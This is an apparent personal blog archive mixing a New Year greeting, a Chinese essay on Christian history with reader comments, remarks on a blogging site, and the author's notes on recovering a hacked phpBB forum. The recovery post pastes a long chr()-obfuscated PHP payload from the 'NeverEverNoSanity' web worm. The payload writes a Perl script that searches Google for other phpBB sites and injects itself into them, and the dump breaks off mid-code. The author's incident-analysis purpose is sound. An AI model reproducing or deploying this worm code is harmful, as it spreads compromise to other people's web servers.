Friday, December 31

Happy New Year!

happy new year


Happy New year to everyone!

happynewyear.MOV

Labels:

Thursday, December 23

基督教历史常识

基督教Christian分三种:
东正教Orthodox(From Greek orthodoxos, "of the right opinion")
天主教Catholicism,即罗马天主教
新教Protestantism,直译为“抗罗宗”,也俗称基督教(狭义)

上面这三种和犹太教、伊斯兰教都是信上帝God的,同源于犹太教。

最初,亚洲一隅以色列内犹太人陆续编出了Bible这本书,说上帝对犹太人如何如何好,因为犹太是上帝的“选民”(不是选举的人,而是选中的人),只要信主,死后可以上天堂;若不敬主,整个民族都陷入灾难之中,更别提死后在地狱被火永久烧烤。书中并预测未来会有救世主Messiah(基督Christ)降临。我想所有犹太人都是这个犹太教的信徒吧.

大 概公元1年左右,有人宣称救世主出现了,就是耶稣Jesus。以前Bible中宣称或隐喻的救世主能够做的事情,Jesus都做了。例如盲人见光、跛子走 路、处女生子等等,颇似中国所说的“圣人出,黄河清”。关于他事迹的书层出不穷,也编入Bible中,称为 New Testament 新约,顺手把以前的Bible叫做旧约Old Testament。这就是基督教。在新约中,上帝不再只关注犹太人,而是愿意普救众生。所有人只要信主就可以上天堂。这个新约没有门槛,所以很快传播开来了。特别是耶稣只责备不信上帝的人,不反抗当时的罗马统治(上帝的归上帝, 凯撒的归凯撒),深得罗马人的喜爱并在欧洲推行。理所当然,犹太人反对这个说法。

600年后,阿拉伯半岛麦加城的穆罕默德沿袭旧约创办了伊斯兰教。教义古兰经中,耶稣只是29个先知之一,而穆罕默德是最大的且最后的先知。

基督教发展之后,分成东西两派,就是东正教天主教, 都赞美耶稣的妈妈玛丽亚并崇拜上帝。后来天主教中出现了新教, 把玛丽亚放到一边,只关心耶稣。所以这个教也称作“耶稣教”。当时美洲是欧洲人流放犯人的地方,这派中一些教徒在欧洲被欺负得活不下去了,又不想改变信 仰,听说海外有块新大陆,就乘五月花May Flower号船偷渡到这里来(1620年),在当地印地安人的帮助之下安了家,所以在收获的季节举办了“感恩节”Thanks Giving.当然,也许还有许多偷渡死掉的,我们就不知道了。
也就是因为先到这里的是一些新教坚贞分子,所以这个教派在美洲传输开来。美国可能有60%的人信仰这个教派。

拨乱反正的《基督出世》是很好的一篇文章,建议翻翻。

下一篇:《拜占廷,君士坦丁堡和伊斯坦布尔》

Labels:

This page is not IE-friendly, but it's ok in Firefox.

This is not the first time. What's wrong with Blogger?
 
Hi Ben,

This is dom of www.hkdom.com. Thanks for your support. I stopped my blog because of some personal issue. I'll be back as soon as possible :)

See you later.
 
呵呵,新语丝里方舟子的文章都是在无神论的前提下写的.而且断章取义是最严重的,自然是怎么看怎么有道理
 
方舟子?我没有提到他的任何文章啊。

另外,难道在有神论的前提下写的文章,才值得你看么?

我看我们不要预设前提,直接辩论事实好了。
 
犹太人的这本Bible不是“说上帝对犹太人如何如何好”的。实际上,在这本书里,有许多上帝惩罚犹太人的记录。因为上帝是公义的,当他的选民犯罪时,他一样惩罚他们。

但公义的上帝这样爱他所造的人,他希望他们可以重新和他在一起,所以他才让他的儿子来替所有人赎罪,同时不违背上帝的公义。

耶稣不反抗罗马统治,我能想到的有这么几个原因:1。圣经上清楚地说:所有authority都是出于上帝;2。因为上帝要拯救的是所有的人,而且,3。正是要借着罗马帝国,来让福音传遍全地。上帝的安排是巧妙的。:-)
 
Xu: 根据你的意见修改了一下。
当时罗马帝国侵略了耶路撒冷,所以犹太人很苦,圣经里记录等待救世主,就像沦陷区等待共产党一样。结果这个耶酥不仅不起义反对帝国的侵略,还让大家按时交税(上帝的归上帝,凯撒的归凯撒)。凯撒不喜欢这个宗教才怪呢。
 

分析被黑网站.(3)

还好, bluesea帮忙把那段代码翻译过来了. 基本上那段代码只黑网站,不做别的坏事. 所以明天可以直接安装新的php/phpBB了.

分析被黑网站.(1)中我抱怨挪威的一个ip地址.其实它只是另一个被黑的phpBB网站而已. 而且我们的网站,相信在被黑之后, 也去黑了别人 :( 这就是病毒繁殖传输....

Labels:

Wednesday, December 22

3 things to recover a cracked website.

  1. Since files in the cracked website are changed, put those files back. Reinstall related software (phpBB).
  2. Fix the hole, prevent other crackers to crack it again.
  3. Find out what the cracker did, and prevent her from entering again.


Actually we can reinstall the php and phpBB, to do the 1st and 2nd task. Now I'm focusing on 3rd task. I don't know what the cracker did, what if she created a super-user account for herself, and she can come over anytime?


Labels:

想不到这么多人支持博客中国呢

康国平在也谈博客和blog之争中说:更多的朋友,特别是很多专栏作家对博客中国还是一贯地支持的。而且加上了专栏作家的联结。

我发现:居然洪波也一贯支持博客中国呢!而且连日还在更新。在专栏作家的名单中,未定的作品是最多的,不知道是什么高手。方舟子在这里也有个专栏,但没有放上自己这篇名人为什么非得上你家的论坛?

这么多人支持博客中国,看来这个网站还是有前途的。

是开玩笑么?

你不知道这些专栏大部分都是博客中国自己建的么?

博客中国一旦发现一篇觉得有转载价值的文章,就会给作者建一个专栏。

我的一个朋友火炬,他的三篇文章前后被博客中国转载,居然给他建了三个不同名字的专栏。而这一切都是发生在他毫不知情的情况下的。
 
挠头. 我的倾向这么难看出来么?你是第二个问这个问题的人了.
 
博客中国是一个独立网站吗?
 
奇怪,什么是独立网站?你意思是独立媒体、独立新闻那样的独立网站?还是说台独网站?
 

分析被黑网站.(2)

在被黑的网站上还有"NeverEverNoSanity WebWorm generation 7."的字样,前天Google找不到任何痕迹,今天看见报道说用微软的搜索引擎能returns nearly 39,000 hits,但我在 search.msn.com中只找到62个;再Google,发现有773个

总之,这是个很糟糕的情况:越来越多的php网站被攻击。建议:所有采用php的网站都到php.net更新最新程序。

现在,相信采用新的php之后能防止黑客利用同一漏洞,但是不知道那个黑客有没有开后门,所以我需要翻译这段程序:

system(chr(112)chr(101)chr(114)chr(108)chr(32)chr(45)chr(101)chr(32)chr(34)chr(111)chr(112)chr(101)chr(110)chr(32)chr(79)chr(85)chr(84)chr(44)chr(113)chr(40)chr(62)chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102)chr(41)chr(32)chr(97)chr(110)chr(100)chr(32)chr(112)chr(114)chr(105)chr(110)chr(116)chr(32)chr(113)chr(40)chr(72)chr(89)chr(118)chr(57)chr(112)chr(111)chr(52)chr(122)chr(51)chr(106)chr(106)chr(72)chr(87)chr(97)chr(110)chr(78)chr(41)chr(34))
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(35)chr(33)chr(47)chr(117)chr(115)chr(114)chr(47)chr(98)chr(105)chr(110)chr(47)chr(112)chr(101)chr(114)chr(108)chr(10)chr(117)chr(115)chr(101)chr(32)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(115)chr(116)chr(114)chr(105)chr(99)chr(116)chr(59)chr(10)chr(117)chr(115)chr(101)chr(32)chr(83)chr(111)chr(99)chr(107)chr(101)chr(116)chr(59)chr(10)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(10)chr(115)chr(117)chr(98)chr(32)chr(80)chr(97)chr(121)chr(76)chr(111)chr(97)chr(100)chr(40)chr(41)chr(59)chr(10)chr(115)chr(117)chr(98)chr(32)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(68)chr(111)chr(68)chr(105)chr(114)chr(40)chr(36)chr(41)chr(59)chr(10)chr(115)chr(117)chr(98)chr(32)chr(68)chr(111)chr(70)chr(105)chr(108)chr(101)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(40)chr(36)chr(41)chr(59)chr(10)chr(115)chr(117)chr(98)chr(32)chr(71)chr(111)chr(71)chr(111)chr(111)chr(103)chr(108)chr(101)chr(40)chr(41)chr(59)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(10)chr(115)chr(117)chr(98)chr(32)chr(71)chr(114)chr(97)chr(98)chr(85)chr(82)chr(76)chr(40)chr(36)chr(41)chr(59)chr(10)chr(115)chr(117)chr(98)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(32)chr(115)chr(116)chr(114)chr(50)chr(99)chr(104)chr(114)chr(40)chr(36)chr(41)chr(59)chr(10)chr(10)chr(101)chr(118)chr(97)chr(108)chr(123)chr(32)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(102)chr(111)chr(114)chr(107)chr(32)chr(97)chr(110)chr(100)chr(32)chr(101)chr(120)chr(105)chr(116)chr(59)chr(32)chr(125)chr(59)chr(10)chr(10)chr(109)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(121)chr(32)chr(36)chr(103)chr(101)chr(110)chr(101)chr(114)chr(97)chr(116)chr(105)chr(111)chr(110)chr(32)chr(61)chr(32)chr(55)chr(59)chr(10)chr(80)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(97)chr(121)chr(76)chr(111)chr(97)chr(100)chr(40)chr(41)chr(32)chr(105)chr(102)chr(32)chr(36)chr(103)chr(101)chr(110)chr(101)chr(114)chr(97)chr(116)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(105)chr(111)chr(110)chr(32)chr(62)chr(32)chr(51)chr(59)chr(10)chr(10)chr(111)chr(112)chr(101)chr(110)chr(32)chr(73)chr(78)chr(44)chr(32)chr(36)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(48)chr(32)chr(111)chr(114)chr(32)chr(101)chr(120)chr(105)chr(116)chr(59)chr(10)chr(109)chr(121)chr(32)chr(36)chr(115)chr(101)chr(108)chr(102)chr(32)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(61)chr(32)chr(106)chr(111)chr(105)chr(110)chr(32)chr(39)chr(39)chr(44)chr(32)chr(60)chr(73)chr(78)chr(62)chr(59)chr(10)chr(99)chr(108)chr(111)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(115)chr(101)chr(32)chr(73)chr(78)chr(59)chr(10)chr(117)chr(110)chr(108)chr(105)chr(110)chr(107)chr(32)chr(36)chr(48)chr(59)chr(10)chr(10)chr(119)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(104)chr(105)chr(108)chr(101)chr(40)chr(33)chr(71)chr(114)chr(97)chr(98)chr(85)chr(82)chr(76)chr(40)chr(39)chr(104)chr(116)chr(116)chr(112)chr(58)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(47)chr(47)chr(119)chr(119)chr(119)chr(46)chr(103)chr(111)chr(111)chr(103)chr(108)chr(101)chr(46)chr(99)chr(111)chr(109)chr(47)chr(97)chr(100)chr(118)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(97)chr(110)chr(99)chr(101)chr(100)chr(95)chr(115)chr(101)chr(97)chr(114)chr(99)chr(104)chr(39)chr(41)chr(41)chr(32)chr(123)chr(10)chr(10)chr(9)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(105)chr(102)chr(40)chr(36)chr(103)chr(101)chr(110)chr(101)chr(114)chr(97)chr(116)chr(105)chr(111)chr(110)chr(32)chr(62)chr(32)chr(51)chr(41)chr(32)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(123)chr(10)chr(9)chr(9)chr(80)chr(97)chr(121)chr(76)chr(111)chr(97)chr(100)chr(40)chr(41)chr(32)chr(59)chr(10)chr(9)chr(125)chr(32)chr(101)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(108)chr(115)chr(101)chr(32)chr(123)chr(10)chr(9)chr(9)chr(101)chr(120)chr(105)chr(116)chr(59)chr(10)chr(9)chr(125)chr(10)chr(125)chr(10)chr(10)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(36)chr(115)chr(101)chr(108)chr(102)chr(32)chr(61)chr(126)chr(32)chr(115)chr(47)chr(109)chr(121)chr(32)chr(92)chr(36)chr(103)chr(101)chr(110)chr(101)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(114)chr(97)chr(116)chr(105)chr(111)chr(110)chr(32)chr(61)chr(32)chr(40)chr(92)chr(100)chr(43)chr(41)chr(59)chr(47)chr(39)chr(109)chr(121)chr(32)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(36)chr(103)chr(101)chr(110)chr(101)chr(114)chr(97)chr(116)chr(105)chr(111)chr(110)chr(32)chr(61)chr(32)chr(39)chr(32)chr(46)chr(32)chr(40)chr(36)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(49)chr(32)chr(43)chr(32)chr(49)chr(41)chr(32)chr(46)chr(32)chr(39)chr(59)chr(39)chr(47)chr(101)chr(59)chr(10)chr(10)chr(10)chr(109)chr(121)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(32)chr(36)chr(115)chr(101)chr(108)chr(102)chr(70)chr(105)chr(108)chr(101)chr(78)chr(97)chr(109)chr(101)chr(32)chr(61)chr(32)chr(39)chr(109)chr(49)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(104)chr(111)chr(50)chr(111)chr(102)chr(39)chr(59)chr(10)chr(109)chr(121)chr(32)chr(36)chr(109)chr(97)chr(114)chr(107)chr(83)chr(116)chr(114)chr(32)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(61)chr(32)chr(39)chr(72)chr(89)chr(118)chr(57)chr(112)chr(111)chr(52)chr(122)chr(51)chr(106)chr(106)chr(72)chr(87)chr(97)chr(110)chr(78)chr(39)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(59)chr(10)chr(109)chr(121)chr(32)chr(36)chr(112)chr(101)chr(114)chr(108)chr(79)chr(112)chr(101)chr(110)chr(32)chr(61)chr(32)chr(39)chr(112)chr(101)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(114)chr(108)chr(32)chr(45)chr(101)chr(32)chr(34)chr(111)chr(112)chr(101)chr(110)chr(32)chr(79)chr(85)chr(84)chr(44)chr(113)chr(40)chr(62)chr(39)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(32)chr(46)chr(32)chr(36)chr(115)chr(101)chr(108)chr(102)chr(70)chr(105)chr(108)chr(101)chr(78)chr(97)chr(109)chr(101)chr(32)chr(46)chr(32)chr(39)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(41)chr(32)chr(97)chr(110)chr(100)chr(32)chr(112)chr(114)chr(105)chr(110)chr(116)chr(32)chr(113)chr(40)chr(39)chr(32)chr(46)chr(32)chr(36)chr(109)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(97)chr(114)chr(107)chr(83)chr(116)chr(114)chr(32)chr(46)chr(32)chr(39)chr(41)chr(34)chr(39)chr(59)chr(10)chr(109)chr(121)chr(32)chr(36)chr(116)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(114)chr(121)chr(67)chr(111)chr(100)chr(101)chr(32)chr(61)chr(32)chr(39)chr(38)chr(104)chr(105)chr(103)chr(104)chr(108)chr(105)chr(103)chr(104)chr(116)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(61)chr(37)chr(50)chr(53)chr(50)chr(55)chr(37)chr(50)chr(53)chr(50)chr(69)chr(115)chr(121)chr(115)chr(116)chr(101)chr(109)chr(40)chr(39)chr(32)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(46)chr(32)chr(115)chr(116)chr(114)chr(50)chr(99)chr(104)chr(114)chr(40)chr(36)chr(112)chr(101)chr(114)chr(108)chr(79)chr(112)chr(101)chr(110)chr(41)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(32)chr(46)chr(32)chr(39)chr(41)chr(37)chr(50)chr(53)chr(50)chr(101)chr(37)chr(50)chr(53)chr(50)chr(55)chr(39)chr(59)chr(10)chr(10)chr(10)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(119)chr(104)chr(105)chr(108)chr(101)chr(40)chr(49)chr(41)chr(32)chr(123)chr(10)chr(10)chr(9)chr(101)chr(120)chr(105)chr(116)chr(32)chr(105)chr(102)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(32)chr(45)chr(101)chr(32)chr(39)chr(115)chr(116)chr(111)chr(112)chr(46)chr(105)chr(116)chr(39)chr(59)chr(10)chr(10)chr(79)chr(85)chr(84)chr(69)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(82)chr(58)chr(32)chr(102)chr(111)chr(114)chr(32)chr(109)chr(121)chr(32)chr(36)chr(117)chr(114)chr(108)chr(32)chr(40)chr(71)chr(111)chr(71)chr(111)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(111)chr(103)chr(108)chr(101)chr(40)chr(41)chr(41)chr(32)chr(123)chr(10)chr(10)chr(9)chr(101)chr(120)chr(105)chr(116)chr(32)chr(105)chr(102)chr(32)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(45)chr(101)chr(32)chr(39)chr(115)chr(116)chr(111)chr(112)chr(46)chr(105)chr(116)chr(39)chr(59)chr(10)chr(10)chr(9)chr(36)chr(117)chr(114)chr(108)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(32)chr(61)chr(126)chr(32)chr(115)chr(47)chr(38)chr(104)chr(105)chr(103)chr(104)chr(108)chr(105)chr(103)chr(104)chr(116)chr(61)chr(46)chr(42)chr(36)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(47)chr(47)chr(59)chr(10)chr(9)chr(36)chr(117)chr(114)chr(108)chr(32)chr(46)chr(61)chr(32)chr(36)chr(116)chr(114)chr(121)chr(67)chr(111)chr(100)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(101)chr(59)chr(10)chr(9)chr(109)chr(121)chr(32)chr(36)chr(114)chr(32)chr(61)chr(32)chr(71)chr(114)chr(97)chr(98)chr(85)chr(82)chr(76)chr(40)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(36)chr(117)chr(114)chr(108)chr(41)chr(59)chr(10)chr(9)chr(110)chr(101)chr(120)chr(116)chr(32)chr(117)chr(110)chr(108)chr(101)chr(115)chr(115)chr(32)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(100)chr(101)chr(102)chr(105)chr(110)chr(101)chr(100)chr(32)chr(36)chr(114)chr(59)chr(10)chr(9)chr(110)chr(101)chr(120)chr(116)chr(32)chr(117)chr(110)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(108)chr(101)chr(115)chr(115)chr(32)chr(36)chr(114)chr(32)chr(61)chr(126)chr(32)chr(47)chr(36)chr(109)chr(97)chr(114)chr(107)chr(83)chr(116)chr(114)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(47)chr(59)chr(10)chr(10)chr(9)chr(119)chr(104)chr(105)chr(108)chr(101)chr(40)chr(36)chr(115)chr(101)chr(108)chr(102)chr(32)chr(61)chr(126)chr(32)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(47)chr(40)chr(46)chr(123)chr(49)chr(44)chr(50)chr(48)chr(125)chr(41)chr(47)chr(103)chr(115)chr(41)chr(32)chr(123)chr(10)chr(10)chr(9)chr(9)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(109)chr(121)chr(32)chr(36)chr(112)chr(111)chr(114)chr(116)chr(105)chr(111)chr(110)chr(32)chr(61)chr(32)chr(39)chr(38)chr(104)chr(105)chr(103)chr(104)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(108)chr(105)chr(103)chr(104)chr(116)chr(61)chr(37)chr(50)chr(53)chr(50)chr(55)chr(37)chr(50)chr(53)chr(50)chr(69)chr(102)chr(119)chr(114)chr(105)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(116)chr(101)chr(40)chr(102)chr(111)chr(112)chr(101)chr(110)chr(40)chr(39)chr(32)chr(46)chr(32)chr(10)chr(9)chr(9)chr(9)chr(115)chr(116)chr(114)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(50)chr(99)chr(104)chr(114)chr(40)chr(36)chr(115)chr(101)chr(108)chr(102)chr(70)chr(105)chr(108)chr(101)chr(78)chr(97)chr(109)chr(101)chr(41)chr(32)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(46)chr(32)chr(39)chr(44)chr(39)chr(32)chr(46)chr(32)chr(115)chr(116)chr(114)chr(50)chr(99)chr(104)chr(114)chr(40)chr(39)chr(97)chr(39)chr(41)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(32)chr(46)chr(32)chr(39)chr(41)chr(44)chr(39)chr(32)chr(46)chr(32)chr(115)chr(116)chr(114)chr(50)chr(99)chr(104)chr(114)chr(40)chr(36)chr(49)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(41)chr(32)chr(46)chr(10)chr(9)chr(9)chr(9)chr(39)chr(41)chr(44)chr(101)chr(120)chr(105)chr(116)chr(37)chr(50)chr(53)chr(50)chr(101)chr(37)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(50)chr(53)chr(50)chr(55)chr(39)chr(59)chr(10)chr(10)chr(9)chr(9)chr(36)chr(117)chr(114)chr(108)chr(32)chr(61)chr(126)chr(32)chr(115)chr(47)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(38)chr(104)chr(105)chr(103)chr(104)chr(108)chr(105)chr(103)chr(104)chr(116)chr(61)chr(46)chr(42)chr(36)chr(47)chr(47)chr(59)chr(10)chr(9)chr(9)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(36)chr(117)chr(114)chr(108)chr(32)chr(46)chr(61)chr(32)chr(36)chr(112)chr(111)chr(114)chr(116)chr(105)chr(111)chr(110)chr(59)chr(10)chr(9)chr(9)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(110)chr(101)chr(120)chr(116)chr(32)chr(79)chr(85)chr(84)chr(69)chr(82)chr(32)chr(117)chr(110)chr(108)chr(101)chr(115)chr(115)chr(32)chr(71)chr(114)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(97)chr(98)chr(85)chr(82)chr(76)chr(40)chr(36)chr(117)chr(114)chr(108)chr(41)chr(59)chr(10)chr(9)chr(125)chr(10)chr(10)chr(9)chr(109)chr(121)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(32)chr(36)chr(115)chr(121)chr(115)chr(116)chr(32)chr(61)chr(32)chr(39)chr(38)chr(104)chr(105)chr(103)chr(104)chr(108)chr(105)chr(103)chr(104)chr(116)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(61)chr(37)chr(50)chr(53)chr(50)chr(55)chr(37)chr(50)chr(53)chr(50)chr(69)chr(115)chr(121)chr(115)chr(116)chr(101)chr(109)chr(40)chr(39)chr(32)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(46)chr(32)chr(115)chr(116)chr(114)chr(50)chr(99)chr(104)chr(114)chr(40)chr(39)chr(112)chr(101)chr(114)chr(108)chr(32)chr(39)chr(32)chr(46)chr(32)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(36)chr(115)chr(101)chr(108)chr(102)chr(70)chr(105)chr(108)chr(101)chr(78)chr(97)chr(109)chr(101)chr(41)chr(32)chr(46)chr(10)chr(9)chr(9)chr(39)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(41)chr(37)chr(50)chr(53)chr(50)chr(101)chr(37)chr(50)chr(53)chr(50)chr(55)chr(39)chr(59)chr(10)chr(9)chr(36)chr(117)chr(114)chr(108)chr(32)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(61)chr(126)chr(32)chr(115)chr(47)chr(38)chr(104)chr(105)chr(103)chr(104)chr(108)chr(105)chr(103)chr(104)chr(116)chr(61)chr(46)chr(42)chr(36)chr(47)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(47)chr(59)chr(10)chr(9)chr(36)chr(117)chr(114)chr(108)chr(32)chr(46)chr(61)chr(32)chr(36)chr(115)chr(121)chr(115)chr(116)chr(59)chr(10)chr(9)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(71)chr(114)chr(97)chr(98)chr(85)chr(82)chr(76)chr(40)chr(36)chr(117)chr(114)chr(108)chr(41)chr(59)chr(10)chr(125)chr(10)chr(125)chr(10)chr(10)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(10)chr(115)chr(117)chr(98)chr(32)chr(115)chr(116)chr(114)chr(50)chr(99)chr(104)chr(114)chr(40)chr(36)chr(41)chr(32)chr(123)chr(10)chr(10)chr(9)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(109)chr(121)chr(32)chr(36)chr(115)chr(32)chr(61)chr(32)chr(115)chr(104)chr(105)chr(102)chr(116)chr(59)chr(10)chr(10)chr(9)chr(36)chr(115)chr(32)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(61)chr(126)chr(32)chr(115)chr(47)chr(40)chr(46)chr(41)chr(47)chr(39)chr(99)chr(104)chr(114)chr(40)chr(39)chr(32)chr(46)chr(32)chr(111)chr(114)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(100)chr(40)chr(36)chr(49)chr(41)chr(32)chr(46)chr(32)chr(39)chr(41)chr(37)chr(50)chr(53)chr(50)chr(101)chr(39)chr(47)chr(115)chr(101)chr(103)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(59)chr(10)chr(9)chr(36)chr(115)chr(32)chr(61)chr(126)chr(32)chr(115)chr(47)chr(37)chr(50)chr(53)chr(50)chr(101)chr(36)chr(47)chr(47)chr(59)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(10)chr(9)chr(114)chr(101)chr(116)chr(117)chr(114)chr(110)chr(32)chr(36)chr(115)chr(59)chr(10)chr(125)chr(10)chr(10)chr(10)chr(115)chr(117)chr(98)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(32)chr(71)chr(111)chr(71)chr(111)chr(111)chr(103)chr(108)chr(101)chr(40)chr(41)chr(32)chr(123)chr(10)chr(10)chr(9)chr(109)chr(121)chr(32)chr(64)),exit
